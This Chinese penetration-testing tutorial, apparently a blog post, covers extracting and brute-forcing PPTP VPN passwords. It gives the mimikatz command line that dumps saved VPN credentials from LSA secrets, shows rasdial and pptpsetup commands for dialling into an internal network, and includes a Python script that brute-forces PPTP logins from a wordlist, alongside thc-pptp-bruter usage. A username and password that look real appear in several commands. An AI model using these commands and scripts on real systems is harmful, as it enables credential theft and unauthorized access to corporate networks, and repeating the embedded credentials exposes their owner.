渗透技巧——PPTP 口令的获取与爆破
0x00 前言
PPTP (即点对点隧道协议) 可以使远程用户通过拨入 ISP 访问企业内网。在渗透测试中,如果获得了用户的 PPTP 口令,就能远程拨入内网,做进一步渗透。本文将要介绍命令行下导出 PPTP 配置信息和口令的方法,开源 PPTP 口令爆破的脚本
0x01 简介
本文将要介绍以下内容:
- Windows 系统命令行下 PPTP 配置信息和口令的获取
- Windows 系统命令行开启和关闭 VPN 连接
- Windows 系统连接 PPTP 的方法和细节
- Kali 系统连接 PPTP 的方法和细节
- PPTP 口令爆破的脚本细节
0x02 Windows 系统命令行下 PPTP 配置信息和口令的获取
1、获取 PPTP 配置信息
Windows 系统拨号和宽带连接的配置信息存储在固定位置,路径如下:%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk
查看该文件即可获得 PPTP 连接的配置信息,包括服务器 IP,不包含连接用户名和口令
VPN 连接的名称为 VPN Connection
,如下图
PhoneNumber 表示连接的服务器 IP,如下图
2、获得内网 IP
ipconfig
获得内网 IP,如下图
3、获得 PPTP 口令
使用工具 mimiaktz,命令如下:
mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
获得连接用户名和口令,如下图
4、命令行下连接 VPN
rasdial "VPN Connection" zhaodg oZ7iFk25
如下图
5、命令行关闭 VPN 连接
rasphone -h "VPN Connection"
0x03 Windows 系统 PPTP 连接的方法和细节
1.
2.
3.
4.选择创建新连接
5.填入服务器 IP,选中稍后连接
6.填入用户名口令
7.点击连接后,选择跳过
接下来修改 VPN 属性, Security
-> Type of VPN
,选择 Point to Point Tunneling Protocol(PPTP)
注:
创建成功后,指定 Point to Point Tunneling Protocol(PPTP)
可缩短连接等待的时间
8.连接
0x04 Kali 系统 PPTP 连接的方法和细节
方法 1:通过界面
1.安装
apt-get install network-manager-pptp network-manager-pptp-gnome
2.
Settings
-> Network
-> VPN
3.
Identity
-> Advanced...
去掉 PAP,CHAP,EAP
选择 Use Point-to-Point encryption(MPPE)
注:如果无法连接,修改文件 /etc/NetworkManager/NetworkManager.conf
managed=false
修改成 managed=true
重启系统
方法 2:通过 pptpsetup
1.连接
pptpsetup --create vpn --server 5x.xxx.xxx.xx2 --username zhaodg --password oZ7iFk25 --encrypt --start
远程 IP 为 192.168.0.1,如下图
2.修改路由表
将默认路由表修改为远程 IP
route del default
route add default gw 192.168.0.1
0x05 PPTP 口令爆破
PPTP 服务器默认开放 1723 端口
1、PPTP brute forcer
源代码:https://github.com/BlackArch/thc-pptp-bruter
kali 默认支持
通过字典爆破的命令如下:
cat wordlist | thc-pptp-bruter -u zhaodg <IP>
如下图
注:PPTP 搭建于 centos
2、编写 python 脚本实现
有些设备的 PPTP 无法使用 PPTP brute forcer 进行爆破
于是尝试使用 python 调用 pptpsetup 实现
通过 os.popen 执行命令,测试代码如下:
import os
def test_vpn(ip,name,password):
command = 'pptpsetup --create testvpn --server '+ip+' --username '+name+' --password '+password+' --encrypt --start'
print command
vpn_status = os.popen(command).read()
print vpn_status
if __name__ == '__main__':
test_vpn('5x.xxx.xxx.xx2','zhaodg','oZ7iFk25')
测试过程中出现 bug:如果登录成功,进程 pptp 不会退出,导致脚本阻塞,无法获得回显,只有结束进程 pptp 后,才能获得回显
所以这里需要使用子进程的方式实现:子进程执行 pptpsetup 命令,父进程不等待
随之产生新的问题:如何获得子进程的结果,判断是否登录成功
这里选择一个简单直接的方法:等待 10 秒,然后执行 ifconfig,如果登录成功,会产生新的网卡设备 ppp0
,否则,当前用户名口令错误
登录成功后,选择清理进程,执行命令:
pkill pptp
清除连接信息:
pptpsetup --delete testvpn
完整代码可参考:https://github.com/3gstudent/Homework-of-Python/blob/master/pptp_password_hack.py
代码会读取文件 wordlist,获得口令字典,对指定 IP 尝试连接,连接成功后记录口令,清除进程和连接
测试如下图
0x06 小结
本文介绍了命令行下导出 PPTP 配置信息和口令的方法,通过命令行能够实现开启和关闭 VPN 连接。实例演示了 Windows 和 Kali 系统连接 PPTP 的方法,最后开源了调用 pptpsetup 实现 PPTP 口令爆破的脚本,分析脚本实现细节。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
上一篇: 渗透技巧——利用虚拟磁盘实现的 无文件
下一篇: Covenant 利用分析
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论